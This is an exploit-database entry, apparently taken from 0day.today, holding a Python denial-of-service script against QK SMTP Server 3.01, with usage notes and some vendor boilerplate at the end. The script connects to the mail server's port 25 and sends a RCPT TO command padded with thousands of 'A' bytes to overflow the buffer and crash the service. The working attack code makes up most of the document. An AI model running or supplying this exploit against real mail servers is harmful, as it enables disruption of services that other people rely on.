=====================================
QK SMTP Server 3 RCPT TO: Command DoS
=====================================
# Author: antrhacks
# Software Link: http://www.qksoft.com/qk-smtp-server/download.php
# Version: 3.01
# Platform: Windows XP SP3 Home edition Fr
# Tested with buffersize: 4500, 5000
# Example: ./QKsmtp.py 192.168.0.10 4500
# Nota: Settings > Acces IP Control > Allow your IP
#!/usr/bin/python
#--------------------------------------------
# QK SMTP Server 3 RCPT TO: Command DoS
#--------------------------------------------
# Title: QK SMTP Server 3 RCPT TO: Command DoS
# Author: antrhacks
# Software Link: http://www.qksoft.com/qk-smtp-server/download.php
# Version: 3.01
# Platform: Windows XP SP3 Home edition Fr
# Tested with buffersize: 4500, 5000
# Example: ./QKsmtp.py 192.168.0.10 4500
# Nota: Settings > Acces IP Control > Allow your IP
import socket
import sys
def howto():
print ("Usage: scriptname.py <IP> <BufferSize>\n")
def exploit(host):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, 25))
except:
print ("Unable to connect to host")
sys.exit(1)
r=sock.recv(1024)
print r
r=sock.getsockname()
print r
sock.send("HELO localhost\r\n")
r=sock.recv(1024)
print r
sock.send("MAIL FROM: [email protected]\r\n")
r=sock.recv(1024)
print r
sock.send("RCPT TO: " + buffere + "\r\n")
r=sock.recv(1024)
print r
sock.send("QUIT" + " \r\n")
r=sock.recv(1024)
print r
sock.close()
if len(sys.argv) <> 3:
howto()
sys.exit(1)
else:
host=sys.argv[1]
buffersize=int(sys.argv[2])
buffere= "\x41" * buffersize
exploit(host)
sys.exit(0)
# END
# 0day.today [2018-04-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation